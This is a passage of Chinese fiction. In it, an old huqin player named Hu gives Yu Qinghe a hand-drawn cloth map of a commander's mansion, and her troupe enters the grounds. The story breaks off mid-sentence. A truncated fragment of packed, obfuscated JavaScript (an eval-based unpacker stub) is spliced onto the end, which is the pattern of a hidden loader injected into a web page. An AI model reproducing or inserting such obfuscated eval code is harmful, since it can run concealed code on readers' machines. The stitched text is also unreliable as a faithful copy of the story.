屋外有人经过,脚步贴着门口停了停,很快又继续往前。老胡头等声音彻底远去,才从衣襟内取出一截旧布。
布条上用炭笔画着几道简陋的线,标出戏台、窄廊、空院与香房的大致方向。
“我凭记忆画的。”他把布条递过去,“几十年前走过一次,府里后来又改建过,未必全对。”
虞清和接过布条:“胡叔为什么愿意帮我?”
“我没说是在帮你。”老胡头将松香收进琴盒,“我只想知道,藏军阁里到底还剩下什么。”
“胡叔也在查白沟河?”
“我不查。”老胡头抬眼看她,“我只是记得,当年很多人死得糊涂,后来又有很多人靠着一句糊涂话活了几十年。若那下面真还留着一张纸,总该有人去看一眼。”
虞清和将布条折好,收进袖中:“多谢。”
“先别谢。”老胡头重新将琴抱回膝上,拉出一声低哑的弦音,“等你看完里面的东西,未必还愿意谢我。”
入府那日,春光难得明亮。
幽州城终于显出几分春意。长街边的柳树抽了新芽,屋檐上积雨未干,水珠不断落在青石上。总兵府门前的石狮被雨洗得发暗,两列黑甲卫立在侧门外,甲片映着日光,透出冷硬的光泽。
听风楼一行人从侧门入府。
阿顺抱着锣,才进门便忍不住往四周看。小茶在他身后压低声音:“眼睛收回来,别让人觉得你是来踩点的。”
阿顺赶紧盯住自己的鞋尖:“我只是没来过这么大的宅子。”
“没来过也不必把脖子伸那么长。”
老胡头抱着胡琴走在最后,伤腿使他每一步都略微拖沓。他自进府后便没有开口,目光落在前方青砖上,像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)